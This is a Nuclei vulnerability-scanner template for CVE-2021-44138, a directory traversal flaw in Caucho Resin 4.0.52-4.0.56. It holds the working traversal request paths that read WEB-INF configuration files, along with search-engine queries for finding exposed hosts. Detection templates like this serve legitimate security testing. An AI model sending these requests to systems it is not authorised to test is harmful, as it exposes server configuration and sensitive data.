nuclei-templates/http/cves/2021/CVE-2021-44138.yaml

id: CVE-2021-44138

info:
  name: Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal
  author: carrot2
  severity: high
  description: |
    There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive data exposure.
  remediation: |
    Upgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-44138
    - https://github.com/maybe-why-not/reponame/issues/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44138
    cwe-id: CWE-22
    epss-score: 0.01258
    epss-percentile: 0.8528
    cpe: cpe:2.3:a:caucho:resin:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: caucho
    product: resin
    shodan-query: html:"Resin"
    fofa-query: body="resin"
  tags: cve2021,cve,resin,caucho,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/;/WEB-INF/web.xml"
      - "{{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web-app"
          - "</web-app>"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "application/xml"
        condition: or

      - type: status
        status:
          - 200
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